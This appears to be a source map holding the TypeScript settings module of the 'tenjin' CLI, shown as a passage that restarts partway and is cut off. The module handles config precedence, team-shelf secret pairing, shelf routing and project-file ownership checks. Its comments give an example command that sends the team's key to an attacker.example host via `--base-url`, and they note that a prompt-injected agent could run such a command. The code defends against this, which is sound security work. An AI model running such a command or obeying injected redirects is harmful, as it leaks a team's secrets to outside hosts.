`shelfBaseUrl` is a plain\n * optional string in the store schema with no URL validation, and the only\n * writers are this CLI's own two configured values — so any OTHER origin in that\n * field is a corrupt or planted entry, not a third shelf, and one hand-edited\n * search row would otherwise make `tenjin outcome --search-id` POST to\n * a host the operator never configured. An unrecognised origin therefore routes\n * to the configured base exactly as a missing or unparseable one does: fail open\n * to the configured shelf, never out to a foreign one. This is the same\n * re-assertion `resolveResourceRef` already makes against this store's\n * `candidate.url` before any send. `configured` still reports false for such an\n * entry, so `publish` keeps dropping its searchId rather than misfiling it.\n *\n * THE KEY RIDES THE ORIGIN, not the call site: `bypass` comes back only when the\n * route is the origin the secret was paired with. The transport re-derives the\n * same rule from the request URL ({@link shelfBypassHeaders}), so this is the\n * second of two locks rather than the only one — but a call site that reads\n * `route.bypass` should never be the place a key first goes off-origin.\n */\nexport function shelfRouteFor(\n stored: { shelfBaseUrl?: string } | null | undefined,\n settings: Pick<ResolvedSettings, 'baseUrl' | 'publicShelfUrl' | 'bypass'>,\n): ShelfRoute {\n const recorded = stored?.shelfBaseUrl;\n const configuredOrigin = tryOrigin(settings.baseUrl);\n const recordedOrigin = recorded === undefined ? undefined : tryOrigin(recorded);\n // An unparseable record is not a second shelf, it is a corrupt field: fall back\n // to the configured base rather than posting a close nowhere.\n if (recorded === undefined || recordedOrigin === undefined) {\n return {\n baseUrl: settings.baseUrl,\n ...(settings.bypass !== undefined ? { bypass: settings.bypass } : {}),\n configured: true,\n };\n }\n const configured =\n configuredOrigin !== undefined && isSameDeployment(recordedOrigin, configuredOrigin);\n // The allow-list: the configured base, or the public shelf it falls through to.\n // Nothing else is a shelf this machine ever searched.\n const publicOrigin = tryOrigin(settings.publicShelfUrl);\n const routable =\n configured || (publicOrigin !== undefined && isSameDeployment(recordedOrigin, publicOrigin));\n if (!routable) {\n return {\n baseUrl: settings.baseUrl,\n ...(settings.bypass !== undefined ? { bypass: settings.bypass } : {}),\n configured: false,\n };\n }\n const carries = settings.bypass !== undefined && settings.bypass.origin === recordedOrigin;\n return {\n baseUrl: recorded,\n ...(carries ? { bypass: settings.bypass } : {}),\n configured,\n };\n}\n\nexport async function resolveContextSettings(ctx: CommandContext): Promise<ResolvedSettings> {\n const config = await loadRawConfig(ctx.dataDir);\n const s = resolveSettings({ config, flags: { baseUrl: ctx.flags.baseUrl }, env: process.env });\n // Paired with the origin here, once, so no command has to remember to.\n const bypass = resolveShelfBypass(config, s);\n return {\n baseUrl: s.baseUrl.value,\n configuredBaseUrl: config.baseUrl ?? CONFIG_DEFAULTS.baseUrl,\n publicShelfUrl: s.publicShelfUrl.value,\n ...(bypass !== undefined ? { bypass } : {}),\n teamMode: bypass !== undefined,\n rpcUrl: s.rpcUrl.value,\n evalCohort: s.evalCohort.value,\n bazaarRegistries: s.bazaarRegistries.value,\n experimentalBazaar: s.experimentalBazaar.value === 'on',\n sendMaxAmountAtomic:\n s.sendMaxAmount.value === SEND_MAX_UNSET\n ? SEND_MAX_UNSET\n : s.sendMaxAmount.value === 'none'\n ? null\n : BigInt(s.sendMaxAmount.value),\n policy: {\n maxAutoSpendAtomic: BigInt(s.maxAutoSpend.value),\n sessionBudgetAtomic: s.sessionBudget.value === 'none' ? null : BigInt(s.sessionBudget.value),\n allowlistCreators: s.allowlistCreators.value,\n },\n };\n}\n\n// ---------------------------------------------------------------------------\n// Publish consent settings (B3, D38)\n//\n// The publish mode/price cascade extends the same precedence machinery\n// (resolvePublishMode / resolvePublishDefaultPrice in lib/config) with a\n// per-project layer that needs I/O the pure resolvers can't do: it walks up from\n// cwd for a `.tenjin.json` and asks git whether that file is committed (the\n// loosening gate on `full-auto`). It lives here beside resolveContextSettings so\n// there is one settings resolver, not a parallel one.\n// ---------------------------------------------------------------------------\n\nexport const PROJECT_CONFIG_FILE = '.tenjin.json';\n\n/**\n * The per-project override file. `publish.defaultPrice` is DECIMAL USD (\"0.10\"),\n * because a hand-edited project file is a human edge (O1) — unlike config.json,\n * which stores atomic because `config set` converts at the command edge. The\n * decimal string is converted to atomic at load via the same money util the\n * config command uses. Partial + passthrough: forward-compatible with subkeys a\n * newer CLI adds, same posture as the global config.\n */\nconst ProjectConfigSchema = z\n .object({\n publish: z\n .object({\n mode: PublishModeSchema.optional(),\n defaultPrice: z.string().optional(),\n })\n .passthrough()\n .optional(),\n })\n .passthrough();\n\nexport interface LoadedProjectConfig {\n /** Absolute path of the discovered `.tenjin.json`. */\n path: string;\n layer: ProjectPublishLayer;\n}\n\nexport interface PublishSettingsDeps extends ProjectWalkDeps {\n /** git check-ignore seam; defaults to shelling out to git (see wallet/passphrase). */\n isGitignored?: (filePath: string) => Promise<boolean>;\n}\n\nexport interface ResolvedPublishSettings {\n mode: PublishMode;\n modeSource: Provenance;\n defaultPriceAtomic: string;\n defaultPriceSource: Provenance;\n /** The standing answer to the server gate's warn tier; see lib/consent.ts. */\n ackServerWarnings: AckServerWarnings;\n /** Non-fatal notices for stderr (e.g. the full-auto downgrade). */\n warnings: string[];\n /** The `.tenjin.json` that contributed the project layer, if one was found. */\n projectConfigPath?: string;\n}\n\n/**\n * Resolve the effective publish mode + default price across every layer:\n * global config.json < project `.tenjin.json` < env (TENJIN_PUBLISH_MODE) <\n * flag (`--mode`), with the `full-auto` loosening gate applied to the project\n * layer. The seam a `publish` command (B3.2) resolves its consent through.\n */\nexport async function resolvePublishSettings(\n input: { dataDir: string; cwd: string; flag?: string; env?: NodeJS.ProcessEnv },\n deps: PublishSettingsDeps = {},\n): Promise<ResolvedPublishSettings> {\n const env = input.env ?? process.env;\n const config = await loadRawConfig(input.dataDir);\n const project = await loadProjectConfig(input.cwd, deps);\n const layer = project?.layer;\n\n const mode = resolvePublishMode({ config, project: layer, env, flag: input.flag });\n const price = resolvePublishDefaultPrice({ config, project: layer });\n const warnings = mode.downgradedWarning !== undefined ? [mode.downgradedWarning] : [];\n // Said out loud for the same reason the downgrade is: a consent setting the\n // operator believes is in force, and is not, is worse than one they know is\n // ignored. `writeModeNotices` puts every entry of this list on stderr.\n if (layer?.ignoredAckServerWarnings === true) {\n warnings.push(\n `Ignoring publish.ackServerWarnings in ${project?.path ?? PROJECT_CONFIG_FILE}: it is read from the global config only, since it can only widen what a yes covers. Set it with \\`tenjin config set publish.ackServerWarnings <mode|on|off>\\`.`,\n );\n }\n\n return {\n mode: mode.value,\n modeSource: mode.source,\n defaultPriceAtomic: price.value,\n defaultPriceSource: price.source,\n // Global config only, on purpose: the project layer never contributes here,\n // so `project` is deliberately not passed. ONE reader, the same one\n // `resolveSettings` uses, because two global-only readings that drifted\n // would drift about consent.\n ackServerWarnings: resolveAckServerWarnings(config).value,\n warnings,\n ...(project !== null ? { projectConfigPath: project.path } : {}),\n };\n}\n\n/**\n * Find the nearest `.tenjin.json` walking up from cwd toward the repo root (the\n * first directory holding a `.git`, inclusive), never crossing above $HOME, then\n * load, validate, and check whether it is gitignored. A file not owned by the\n * current user is ignored with a stderr warning (a planted config on a shared\n * host must not become the honored project layer). Null when none is found; a\n * present-but-unreadable/malformed file is CONFIG_INVALID (never silently\n * skipped).\n */\nexport async function loadProjectConfig(\n cwd: string,\n deps: PublishSettingsDeps = {},\n): Promise<LoadedProjectConfig | null> {\n const path = await findProjectConfigFile(cwd, deps);\n if (path === null) return null;\n\n let json: unknown;\n try {\n // readFile is inside the try: a raced delete (ENOENT), a directory named\n // .tenjin.json (EISDIR), or a permission error (EACCES) is a bad project file,\n // not an INTERNAL fault.\n json = JSON.parse(await readFile(path, 'utf8'));\n } catch (err) {\n throw new CliError('CONFIG_INVALID', `${PROJECT_CONFIG_FILE} at ${path} could not be read`, {\n fix: `Fix or delete ${path} (must be a readable JSON file).`,\n cause: err,\n });\n }\n const parsed = ProjectConfigSchema.safeParse(json);\n if (!parsed.success) {\n throw new CliError('CONFIG_INVALID', `${PROJECT_CONFIG_FILE} at ${path} is invalid`, {\n fix: `Correct the reported keys in ${path}, or delete it.`,\n details: parsed.error.issues,\n });\n }\n\n const isGitignored = deps.isGitignored ?? defaultIsGitignored;\n const gitignored = await isGitignored(path);\n const layer: ProjectPublishLayer = { gitignored };\n if (parsed.data.publish !== undefined) {\n const { mode, defaultPrice } = parsed.data.publish;\n layer.publish = {\n ...(mode !== undefined ? { mode } : {}),\n ...(defaultPrice !== undefined\n ? { defaultPrice: parseProjectPrice(defaultPrice, path) }\n : {}),\n };\n // The block is passthrough, so this key parses here and is then never read:\n // `ackServerWarnings` is global-only because it can only loosen what a yes\n // covers. Failing closed is the point, but doing it SILENTLY leaves an\n // operator believing a consent setting is in force that is not, so it says\n // so on stderr the way a downgraded `full-auto` does.\n if ((parsed.data.publish as { ackServerWarnings?: unknown }).ackServerWarnings !== undefined) {\n layer.ignoredAckServerWarnings = true;\n }\n }\n return { path, layer };\n}\n\n/**\n * Convert a `.tenjin.json` decimal-USD price to atomic via the shared money\n * parser. parseUsdToAtomic throws USAGE on a bad amount; re-raise as\n * CONFIG_INVALID naming the file, so it reads like the file's other errors.\n */\nfunction parseProjectPrice(decimalUsd: string, path: string): string {\n try {\n return parseUsdToAtomic(decimalUsd);\n } catch (err) {\n throw new CliError(\n 'CONFIG_INVALID',\n `${PROJECT_CONFIG_FILE} at ${path} has an invalid publish.defaultPrice`,\n { fix: 'Use a non-negative decimal USD amount like \"0.10\".', cause: err },\n );\n }\n}\n\nasync function findProjectConfigFile(\n cwd: string,\n deps: PublishSettingsDeps,\n): Promise<string | null> {\n const hit = await findNearestProjectFiles(cwd, [PROJECT_CONFIG_FILE], deps);\n return hit?.found[0] ?? null;\n}\n\nexport interface ProjectWalkDeps {\n /** Ownership seam; defaults to stat().uid vs process uid. Gates a planted file. */\n isForeignOwned?: (filePath: string) => Promise<boolean>;\n /** One-line stderr warning sink; defaults to process.stderr. */\n warn?: (message: string) => void;\n /** Upper bound of the walk; defaults to the user's home directory. */\n homeDir?: string;\n}\n\nexport interface ProjectWalkHit {\n /** The directory the walk stopped in. */\n dir: string;\n /** Every candidate present there and owned by this user, in `names` order. */\n found: string[];\n}\n\n/**\n * THE ONE WALK UP FROM A WORKING DIRECTORY to a project file, shared by the\n * shelf's `.tenjin.json` and the router's `.tenjin/config.json` pair: the\n * nearest directory, walking up from `cwd`, that holds at least one of\n * `names` (paths relative to that directory). `homeIsProject: false` stops\n * before looking in $HOME itself, for a file whose home copy is the global one.\n */\nexport async function findNearestProjectFiles(\n cwd: string,\n names: readonly string[],\n deps: ProjectWalkDeps & { homeIsProject?: boolean } = {},\n): Promise<ProjectWalkHit | null> {\n const homeDir = deps.homeDir ?? homedir();\n\n let dir = cwd;\n // Bounded by $HOME (a shared-host trust boundary) and the filesystem root\n // (dirname('/') === '/'), whichever comes first.\n for (;;) {\n if (dir === homeDir && deps.homeIsProject === false) return null;\n const found = await ownedCandidates(dir, names, deps);\n if (found.length > 0) return { dir, found };\n if (await pathExists(join(dir, '.git'))) return null; // repo root, no file\n if (dir === homeDir) return null; // never cross above $HOME\n const parent = dirname(dir);\n if (parent === dir) return null;\n dir = parent;\n }\n}\n\n/**\n * EVERY directory from `cwd` up to the git root (inclusive) that holds one of\n * `names`, nearest first, under the same bounds as\n * {@link findNearestProjectFiles}; `gitRoot` is null outside a repository.\n * For layers that each only tighten, where reading one more can never loosen.\n */\nexport async function findAllProjectFiles(\n cwd: string,\n names: readonly string[],\n deps: ProjectWalkDeps & { homeIsProject?: boolean } = {},\n): Promise<{ levels: ProjectWalkHit[]; gitRoot: string | null }> {\n const homeDir = deps.homeDir ?? homedir();\n const levels: ProjectWalkHit[] = [];\n let dir = cwd;\n for (;;) {\n if (dir === homeDir && deps.homeIsProject === false) return { levels, gitRoot: null };\n const found = await ownedCandidates(dir, names, deps);\n if (found.length > 0) levels.push({ dir, found });\n if (await pathExists(join(dir, '.git'))) return { levels, gitRoot: dir };\n if (dir === homeDir) return { levels, gitRoot: null };\n const parent = dirname(dir);\n if (parent === dir) return { levels, gitRoot: null };\n dir = parent;\n }\n}\n\n/**\n * The main working tree behind a git worktree whose root is `gitRoot`, or null\n * when `gitRoot` is not a linked worktree. Filesystem only, no `git` process:\n * the worktree's `.git` FILE names its gitdir, whose `commondir` names the\n * main repository's `.git`. A bare common dir, one that resolves outside\n * $HOME, and a submodule (a gitdir with no `commondir`) all give null.\n */\nexport async function mainWorktreeOf(\n gitRoot: string,\n homeDir: string = homedir(),\n): Promise<string | null> {\n try {\n const dotGit = join(gitRoot, '.git');\n if (!(await stat(dotGit)).isFile()) return null;\n const line = /^gitdir:\\s*(.+?)\\s*$/m.exec(await readFile(dotGit, 'utf8'));\n if (line === null) return null;\n const gitdir = resolve(gitRoot, line[1]!);\n const commonDir = resolve(gitdir, (await readFile(join(gitdir, 'commondir'), 'utf8')).trim());\n if (basename(commonDir) !== '.git' || !(await stat(commonDir)).isDirectory()) return null;\n const main = dirname(commonDir);\n if (main === gitRoot || !main.startsWith(`${homeDir}${sep}`)) return null;\n return main;\n } catch {\n return null;\n }\n}\n\n/** The candidates present in `dir` and owned by this user, in `names` order. */\nexport async function ownedCandidates(\n dir: string,\n names: readonly string[],\n deps: ProjectWalkDeps = {},\n): Promise<string[]> {\n const isForeignOwned = deps.isForeignOwned ?? defaultIsForeignOwned;\n const warn = deps.warn ?? ((message: string) => process.stderr.write(`${message}\\n`));\n const found: string[] = [];\n for (const name of names) {\n const candidate = join(dir, name);\n if (!(await pathExists(candidate))) continue;\n if (await isForeignOwned(candidate)) {\n // A file owned by another user (e.g. /tmp/.tenjin.json on a shared box)\n // must never become the honored layer; skip it and keep walking.\n warn(`Ignoring ${candidate}: not owned by the current user.`);\n } else {\n found.push(candidate);\n }\n }\n return found;\n}\n\n/**\n * The directory a project file belongs in when none exists yet: the git root\n * above `cwd`, or `cwd` itself outside a repository. Same bounds as the walk.\n */\nexport async function projectRoot(cwd: string, homeDir: string = homedir()): Promise<string> {\n let dir = cwd;\n for (;;) {\n if (await pathExists(join(dir, '.git'))) return dir;\n if (dir === homeDir) return cwd;\n const parent = dirname(dir);\n if (parent === dir) return cwd;\n dir = parent;\n }\n}\n\n/**\n * True when the file is owned by a different uid than the process. On a platform\n * without a uid model (Windows: process.getuid is undefined) this is always\n * false — the ownership gate is a POSIX shared-host protection.\n */\nasync function defaultIsForeignOwned(filePath: string): Promise<boolean> {\n const uid = process.getuid?.();\n if (uid === undefined) return false;\n try {\n return (await stat(filePath)).uid !== uid;\n } catch {\n return false;\n }\n}\n\n/** True when a path exists (of any type). */\nexport async function pathExists(path: string): Promise<boolean> {\n try {\n await stat(path);\n return true;\n } catch {\n return false;\n }\n}\n\n/**\n * True only on a git check-ignore exit 0 (the path is ignored). Exit 1 (tracked)\n * and any error (git absent, not a repo) resolve false: `full-auto` is honored\n * from a project file ONLY when git positively confirms it is ignored. Uses\n * execFile with an argv array (never a shell), matching wallet/passphrase.ts.\n */\nfunction defaultIsGitignored(filePath: string): Promise<boolean> {\n return new Promise((resolve) => {\n execFile(\n 'git',\n ['check-ignore', '--quiet', '--', filePath],\n { cwd: dirname(filePath) },\n (err) => resolve(err === null),\n );\n });\n}\n"],"mappings":";;;;;;;;;;;;;;;;;AAAA,SAAS,gBAAgB;AACzB,SAAS,UAAU,YAAY;AAC/B,SAAS,eAAe;AACxB,SAAS,UAAU,SAAS,MAAM,SAAS,WAAW;AA0EtD,SAAS,UAAU,KAAiC;AAClD,MAAI;AACF,WAAO,IAAI,IAAI,GAAG,EAAE;AAAA,EACtB,QAAQ;AACN,WAAO;AAAA,EACT;AACF;AAuCO,SAAS,mBACd,QACA,GACyB;AACzB,QAAM,SAAS,EAAE,kBAAkB;AACnC,MAAI,OAAO,WAAW,EAAG,QA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,QAAQA,SAAQ,QAAQ,IAAI;AAAA,IAC/B;AAAA,EACF,CAAC;AACH;","names":["resolve"]}
|
|
1
|
+
{"version":3,"sources":["../src/lib/settings.ts"],"sourcesContent":["import { execFile } from 'node:child_process';\nimport { readFile, stat } from 'node:fs/promises';\nimport { homedir } from 'node:os';\nimport { basename, dirname, join, resolve, sep } from 'node:path';\nimport { z } from 'zod';\nimport { CliError } from './errors';\nimport {\n CONFIG_DEFAULTS,\n PublishModeSchema,\n SEND_MAX_UNSET,\n loadRawConfig,\n resolveAckServerWarnings,\n resolvePublishDefaultPrice,\n resolvePublishMode,\n resolveSettings,\n} from './config';\nimport type {\n AckServerWarnings,\n EffectiveSettings,\n PartialConfig,\n Provenance,\n ProjectPublishLayer,\n PublishMode,\n} from './config';\nimport type { ShelfBypass } from './http';\nimport { parseUsdToAtomic } from './money';\nimport { PRODUCTION_ORIGIN, isSameDeployment } from './production-origin';\nimport type { SpendPolicy } from './policy';\nimport type { CommandContext } from '../context';\n\n/**\n * The effective runtime settings a B2 command needs, resolved once through the\n * same precedence (flag > env > file > default) config/doctor use. Spend values\n * arrive atomic from config and are handed on as bigint for the policy layer.\n */\nexport interface ResolvedSettings {\n baseUrl: string;\n /**\n * `baseUrl` AS THE CONFIG FILE NAMES IT, before `--base-url`/`TENJIN_BASE_URL`.\n * Anything that wallet-signs pins to this rather than to {@link baseUrl}: a\n * flag can point a run at another host, and an agent that names one must not\n * thereby move the pin. Same rule, same reason, as {@link resolveShelfBypass}.\n */\n configuredBaseUrl: string;\n /** The public marketplace: the second shelf a team-mode search falls through\n * to, and the one other origin `read`/`buy`/`inspect` will resolve against. */\n publicShelfUrl: string;\n /**\n * The team shelf's bypass secret paired with the CONFIGURED `baseUrl`'s\n * origin, or undefined in public mode and on a run whose base URL came from\n * `--base-url`/`TENJIN_BASE_URL` (see {@link resolveShelfBypass}). Handed to\n * the transport, which attaches the header from the REQUEST URL — so it cannot\n * reach `publicShelfUrl` however it is passed.\n */\n bypass?: ShelfBypass;\n /** True exactly when the door key was issued: the one switch between public\n * mode and team mode. */\n teamMode: boolean;\n rpcUrl: string;\n policy: SpendPolicy;\n /** Search-only privacy opt-in; sends X-Tenjin-Eval-Cohort: 1 when true. */\n evalCohort: boolean;\n /** x402 discovery registries `discover` queries and the pay lane verifies against. */\n bazaarRegistries: string[];\n /** `experimental.bazaar`: whether the router may also offer the open Bazaar's\n * unreviewed sellers. Tenjin's reviewed list is always requested; only\n * `router.enabled false` stops every offer. */\n experimentalBazaar: boolean;\n /**\n * Hard per-send cap for `tenjin wallet send`: SEND_MAX_UNSET = never configured\n * (send refuses until `config set sendMaxAmount`), null = explicit \"none\"\n * (uncapped opt-in), 0n = disabled, otherwise the atomic cap.\n */\n sendMaxAmountAtomic: bigint | null | typeof SEND_MAX_UNSET;\n}\n\n/** `URL.origin`, or undefined for anything unparseable. */\nfunction tryOrigin(url: string): string | undefined {\n try {\n return new URL(url).origin;\n } catch {\n return undefined;\n }\n}\n\n/**\n * The team shelf's door key, paired with the origin THE OPERATOR CONFIGURED —\n * never with the one this run happens to be pointed at.\n *\n * `shelfBypassSecret` is file-only, but `baseUrl` is not: `--base-url` and\n * `TENJIN_BASE_URL` outrank the file. Pairing the secret with the RESOLVED base\n * URL therefore let one command hand the team's key to any host that was named\n * on the command line — `tenjin search --base-url https://attacker.example \"…\"`\n * sends it in the first request, and the transport's origin test agrees, because\n * the pair it compares against was built from the attacker's URL. That is not a\n * hypothetical shape: `resource-ref`'s own refusal text already names a\n * task-supplied `--base-url` as the attack a prompt-injected agent runs.\n *\n * So the compare happens here, once, before the pair exists: the key is issued\n * only when the run is still pointed at the configured shelf. A run pointed\n * anywhere else gets NO pair at all, which also drops team mode — an overridden\n * base URL runs as an ordinary public-mode run, with the client scan and the\n * confirm cascade back on, rather than as a team-mode run against a stranger.\n *\n * The generated hooks need no equivalent for the flag rule: they read `baseUrl`\n * straight out of config.json and have no flag or env layer to be re-pointed\n * through. They DO carry the second rule below (`teamShelfOrigin`).\n *\n * SECOND RULE: THE TEAM SHELF MUST BE A SHELF OF ITS OWN. Team mode was keyed on\n * a non-empty secret alone, and both `baseUrl` and `publicShelfUrl` default to\n * tenjin.sh, so the two-command day-0 setup run in the other order — or the\n * secret line alone on a second machine — put a machine in \"team mode\" pointed\n * at the PUBLIC MARKETPLACE. Team mode is precisely the mode that skips the\n * publish scan, skips the confirm cascade and prices at 0, so under\n * `publish.mode full-auto` that misconfiguration auto-publishes internal\n * codebase notes to tenjin.sh, unscanned and unacknowledged; it also posts the\n * team's key to the public marketplace and searches one origin twice per fire.\n * A secret with no private shelf behind it is a setup that is not finished, so\n * it fails safe to public mode rather than half-on. `tenjin doctor` and\n * `config set shelfBypassSecret` say so out loud, because silence here is what\n * made the misconfiguration survivable.\n */\nexport function resolveShelfBypass(\n config: PartialConfig,\n s: EffectiveSettings,\n): ShelfBypass | undefined {\n const secret = s.shelfBypassSecret.value;\n if (secret.length === 0) return undefined;\n const configured = tryOrigin(config.baseUrl ?? CONFIG_DEFAULTS.baseUrl);\n const effective = tryOrigin(s.baseUrl.value);\n if (configured === undefined || effective === undefined || configured !== effective) {\n return undefined;\n }\n if (!isTeamShelfOrigin(configured, s.publicShelfUrl.value)) return undefined;\n return { origin: configured, secret };\n}\n\n/**\n * Is `origin` a shelf of the team's own, as opposed to the public marketplace?\n *\n * The compare `resource-ref` already makes to no-op its second-origin allowance,\n * plus the production origin itself: a `publicShelfUrl` pointed somewhere else\n * must not make tenjin.sh read as private. `isSameDeployment` rather than `===`\n * so an alias of production (tenjin.blog) is not a loophole.\n */\nexport function isTeamShelfOrigin(origin: string, publicShelfUrl: string): boolean {\n if (isSameDeployment(origin, PRODUCTION_ORIGIN)) return false;\n const publicOrigin = tryOrigin(publicShelfUrl);\n return publicOrigin === undefined || !isSameDeployment(origin, publicOrigin);\n}\n\n/**\n * Is this MACHINE in team mode — a shelf of the team's own plus the door key that\n * opens it? The same two-part rule `resolveContextSettings` applies\n * (`ResolvedSettings.teamMode`), read off the raw config instead of resolved\n * settings, and the difference is deliberate: a `--base-url` or `TENJIN_BASE_URL`\n * on one invocation must not answer this question.\n *\n * The installed skill text (lib/skill-materialize) needs the raw-config form: it\n * outlives the command that wrote it and is read by every later session on this\n * machine, so shaping it by a one-off flag would leave a team machine reading\n * public guidance until the next install.\n *\n * A secret with `baseUrl` still on the marketplace is NOT team mode, per\n * {@link isTeamShelfOrigin}: that half-set state runs as ordinary public mode\n * rather than treating tenjin.sh as a private shelf.\n */\nexport function isTeamModeConfig(config: PartialConfig): boolean {\n const secret = config.shelfBypassSecret ?? CONFIG_DEFAULTS.shelfBypassSecret;\n if (typeof secret !== 'string' || secret === '') return false;\n const origin = tryOrigin(config.baseUrl ?? CONFIG_DEFAULTS.baseUrl);\n if (origin === undefined) return false;\n return isTeamShelfOrigin(origin, config.publicShelfUrl ?? CONFIG_DEFAULTS.publicShelfUrl);\n}\n\n/** Where a close for one stored search has to go, and whether it carries the key. */\nexport interface ShelfRoute {\n baseUrl: string;\n bypass?: ShelfBypass;\n /**\n * False when the ENTRY named a shelf other than the configured `baseUrl` —\n * including an unrecognised origin, which `baseUrl` above nonetheless routes\n * back to the configured shelf.\n */\n configured: boolean;\n}\n\n/**\n * THE SHELF THAT ANSWERED, for anything closing a loop.\n *\n * A team-mode search asks the team shelf and falls through to the public\n * marketplace, and the two have separate databases: the searchId the public leg\n * minted exists only there. Posting its outcome to the team shelf tells the team\n * shelf about a search it never ran (where it retries a parent-not-visible window\n * and then raises `outcomes_dropped_no_parent`, an alarm meant to mean a broken\n * fleet) and tells the marketplace — whose demand signal is the entire reason the\n * verb exists — nothing at all.\n *\n * `shelfBaseUrl` is absent on an entry written before it existed and on every\n * single-shelf public-mode run, and absent means the configured base, which is\n * what those entries meant.\n *\n * ONLY THE TWO CONFIGURED SHELVES ARE ROUTABLE. `shelfBaseUrl` is a plain\n * optional string in the store schema with no URL validation, and the only\n * writers are this CLI's own two configured values — so any OTHER origin in that\n * field is a corrupt or planted entry, not a third shelf, and one hand-edited\n * search row would otherwise make `tenjin outcome --search-id` POST to\n * a host the operator never configured. An unrecognised origin therefore routes\n * to the configured base exactly as a missing or unparseable one does: fail open\n * to the configured shelf, never out to a foreign one. This is the same\n * re-assertion `resolveResourceRef` already makes against this store's\n * `candidate.url` before any send. `configured` still reports false for such an\n * entry, so `publish` keeps dropping its searchId rather than misfiling it.\n *\n * THE KEY RIDES THE ORIGIN, not the call site: `bypass` comes back only when the\n * route is the origin the secret was paired with. The transport re-derives the\n * same rule from the request URL ({@link shelfBypassHeaders}), so this is the\n * second of two locks rather than the only one — but a call site that reads\n * `route.bypass` should never be the place a key first goes off-origin.\n */\nexport function shelfRouteFor(\n stored: { shelfBaseUrl?: string } | null | undefined,\n settings: Pick<ResolvedSettings, 'baseUrl' | 'publicShelfUrl' | 'bypass'>,\n): ShelfRoute {\n const recorded = stored?.shelfBaseUrl;\n const configuredOrigin = tryOrigin(settings.baseUrl);\n const recordedOrigin = recorded === undefined ? undefined : tryOrigin(recorded);\n // An unparseable record is not a second shelf, it is a corrupt field: fall back\n // to the configured base rather than posting a close nowhere.\n if (recorded === undefined || recordedOrigin === undefined) {\n return {\n baseUrl: settings.baseUrl,\n ...(settings.bypass !== undefined ? { bypass: settings.bypass } : {}),\n configured: true,\n };\n }\n const configured =\n configuredOrigin !== undefined && isSameDeployment(recordedOrigin, configuredOrigin);\n // The allow-list: the configured base, or the public shelf it falls through to.\n // Nothing else is a shelf this machine ever searched.\n const publicOrigin = tryOrigin(settings.publicShelfUrl);\n const routable =\n configured || (publicOrigin !== undefined && isSameDeployment(recordedOrigin, publicOrigin));\n if (!routable) {\n return {\n baseUrl: settings.baseUrl,\n ...(settings.bypass !== undefined ? { bypass: settings.bypass } : {}),\n configured: false,\n };\n }\n const carries = settings.bypass !== undefined && settings.bypass.origin === recordedOrigin;\n return {\n baseUrl: recorded,\n ...(carries ? { bypass: settings.bypass } : {}),\n configured,\n };\n}\n\nexport async function resolveContextSettings(ctx: CommandContext): Promise<ResolvedSettings> {\n const config = await loadRawConfig(ctx.dataDir);\n const s = resolveSettings({ config, flags: { baseUrl: ctx.flags.baseUrl }, env: process.env });\n // Paired with the origin here, once, so no command has to remember to.\n const bypass = resolveShelfBypass(config, s);\n return {\n baseUrl: s.baseUrl.value,\n configuredBaseUrl: config.baseUrl ?? CONFIG_DEFAULTS.baseUrl,\n publicShelfUrl: s.publicShelfUrl.value,\n ...(bypass !== undefined ? { bypass } : {}),\n teamMode: bypass !== undefined,\n rpcUrl: s.rpcUrl.value,\n evalCohort: s.evalCohort.value,\n bazaarRegistries: s.bazaarRegistries.value,\n experimentalBazaar: s.experimentalBazaar.value === 'on',\n sendMaxAmountAtomic:\n s.sendMaxAmount.value === SEND_MAX_UNSET\n ? SEND_MAX_UNSET\n : s.sendMaxAmount.value === 'none'\n ? null\n : BigInt(s.sendMaxAmount.value),\n policy: {\n maxAutoSpendAtomic: BigInt(s.maxAutoSpend.value),\n sessionBudgetAtomic: s.sessionBudget.value === 'none' ? null : BigInt(s.sessionBudget.value),\n allowlistCreators: s.allowlistCreators.value,\n },\n };\n}\n\n// ---------------------------------------------------------------------------\n// Publish consent settings (B3, D38)\n//\n// The publish mode/price cascade extends the same precedence machinery\n// (resolvePublishMode / resolvePublishDefaultPrice in lib/config) with a\n// per-project layer that needs I/O the pure resolvers can't do: it walks up from\n// cwd for a `.tenjin.json` and asks git whether that file is committed (the\n// loosening gate on `full-auto`). It lives here beside resolveContextSettings so\n// there is one settings resolver, not a parallel one.\n// ---------------------------------------------------------------------------\n\nexport const PROJECT_CONFIG_FILE = '.tenjin.json';\n\n/**\n * The per-project override file. `publish.defaultPrice` is DECIMAL USD (\"0.10\"),\n * because a hand-edited project file is a human edge (O1) — unlike config.json,\n * which stores atomic because `config set` converts at the command edge. The\n * decimal string is converted to atomic at load via the same money util the\n * config command uses. Partial + passthrough: forward-compatible with subkeys a\n * newer CLI adds, same posture as the global config.\n */\nconst ProjectConfigSchema = z\n .object({\n publish: z\n .object({\n mode: PublishModeSchema.optional(),\n defaultPrice: z.string().optional(),\n })\n .passthrough()\n .optional(),\n })\n .passthrough();\n\nexport interface LoadedProjectConfig {\n /** Absolute path of the discovered `.tenjin.json`. */\n path: string;\n layer: ProjectPublishLayer;\n}\n\nexport interface PublishSettingsDeps extends ProjectWalkDeps {\n /** git check-ignore seam; defaults to shelling out to git (see wallet/passphrase). */\n isGitignored?: (filePath: string) => Promise<boolean>;\n}\n\nexport interface ResolvedPublishSettings {\n mode: PublishMode;\n modeSource: Provenance;\n defaultPriceAtomic: string;\n defaultPriceSource: Provenance;\n /** The standing answer to the server gate's warn tier; see lib/consent.ts. */\n ackServerWarnings: AckServerWarnings;\n /** Non-fatal notices for stderr (e.g. the full-auto downgrade). */\n warnings: string[];\n /** The `.tenjin.json` that contributed the project layer, if one was found. */\n projectConfigPath?: string;\n}\n\n/**\n * Resolve the effective publish mode + default price across every layer:\n * global config.json < project `.tenjin.json` < env (TENJIN_PUBLISH_MODE) <\n * flag (`--mode`), with the `full-auto` loosening gate applied to the project\n * layer. The seam a `publish` command (B3.2) resolves its consent through.\n */\nexport async function resolvePublishSettings(\n input: { dataDir: string; cwd: string; flag?: string; env?: NodeJS.ProcessEnv },\n deps: PublishSettingsDeps = {},\n): Promise<ResolvedPublishSettings> {\n const env = input.env ?? process.env;\n const config = await loadRawConfig(input.dataDir);\n const project = await loadProjectConfig(input.cwd, deps);\n const layer = project?.layer;\n\n const mode = resolvePublishMode({ config, project: layer, env, flag: input.flag });\n const price = resolvePublishDefaultPrice({ config, project: layer });\n const warnings = mode.downgradedWarning !== undefined ? [mode.downgradedWarning] : [];\n // Said out loud for the same reason the downgrade is: a consent setting the\n // operator believes is in force, and is not, is worse than one they know is\n // ignored. `writeModeNotices` puts every entry of this list on stderr.\n if (layer?.ignoredAckServerWarnings === true) {\n warnings.push(\n `Ignoring 